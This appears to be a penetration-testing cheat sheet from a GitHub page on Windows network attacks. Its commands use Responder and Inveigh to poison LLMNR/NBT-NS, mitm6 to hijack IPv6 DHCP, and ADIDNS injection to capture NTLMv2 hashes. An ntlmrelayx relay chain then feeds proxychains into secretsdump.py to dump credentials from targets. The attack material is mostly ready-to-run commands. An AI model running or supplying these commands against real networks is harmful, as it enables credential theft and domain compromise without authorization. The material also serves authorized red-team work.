You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Poisoning is possible with Responder or Inveigh or manually, which will try to poison Link Local Multicast Name Resolution (LLMNR) and NetBIOS Name Resolution (NBT-NS).
LLMNR & NBT-NS
Responder
Analyse mode
It is possible to check if LLMNR and NBT-NS is used without poisoning any request.
sudo responder -I eth0 -A
Poison Requests
Poison Local Multicast Name Resolution (LLMNR) and NetBIOS Name Resolution (NBT-NS) requests.
Invoke-Inveigh -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y
Get data from hashtable
Get-Inveigh - get data from the $inveigh hashtable
Get all captured NTLMv2 challenge/response hashes
Get-Inveigh -NTLMv2
Stop
Stop-Inveigh
Enable real time console output
Watch-Inveigh
Clear hashtable
Clear-Inveigh
Get-Inveigh
Get-Inveigh
Active Directory-Integrated DNS
ADIDNS
Windows uses DNS, LLMNR and then NBNS in the respective order
If a matching DNS record name does not already exist in a zone, an authenticated user can create the record.
If you detectthe same LLMNR/NBNS request from multiple systems, a matching record can be added to ADIDNS. This can be effective when systems are sending out LLMNR/NBNS requests for old hosts that are no longer in DNS. If multiple systems within a subnet are trying to resolve specific names, outside systems may also be trying. In that scenario, injecting into ADIDNS will help extend the attack past the subnet boundary.
In modern Windows operating systems, IPv6 is enabled by default. This means that systems periodically poll for an IPv6 lease, as IPv6 is a newer protocol than IPv4, and Microsoft decided it was a good idea to give IPv6 precedence over IPv4.
However, in the vast majority of organizations, IPv6 is left unused, which means that an adversary could hijack the DHCP requests for IPv6 addresses and force authentication attempts to the attacker-controlled system. We do that by setting our system as the primary DNS server.
Spoof any requests for internal resources
sudo python3 mitm6.py -d <DOMAIN> --ignore-nofqdn
Files
It is possible to force authentication if a user opens a file location in explorer or files itself.
Will authenticate to our attacking machine as the user
We have to modify the /etc/responder/Responder.conf file and disable the HTTP and SMB servers (as NTLM relay will be our SMB and HTTP server).
the -d flag has now been changed from “Enable answers for NETBIOS domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False” to “Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False”. It should also be noted that -d as it is now CAN have an impact on your client’s network, as you are effectively poisoning the WPAD file over DHCP, which does not always revert back immediately once you stop the attack. It will likely require a reboot.
Use the socks option to be able to use the socks command to get a nice overview of the relayed attempts. It will also keep the SMB connection open indefinitely.
The file smb_hosts_nosigning.txt should only contain IP's, FQDN doesn't work, see issue
ntlmrelayx.py -tf smb_hosts_nosigning.txt -socks -smb2support
# Get overview of all relay attempts
ntlmrelayx> socks
# Change socks proxy
sudo vim /etc/proxychains4.conf
socks4 127.0.0.1 1080
# Use proxychains and it will ignore the password value and use the relay credential instead
proxychains python3 secretsdump.py <DOMAIN>/<USER>:IDontCareAboutPassword@<TARGET>
# Also possible to access shares on the network, for example if user is not local admin
proxychains python3 smbclient.py <DOMAIN>/<USER>:IDontCareAboutPassword@<TARGET>
LDAP Relaying
Requires LDAP signing or LDAPS Binding to be turned off (default).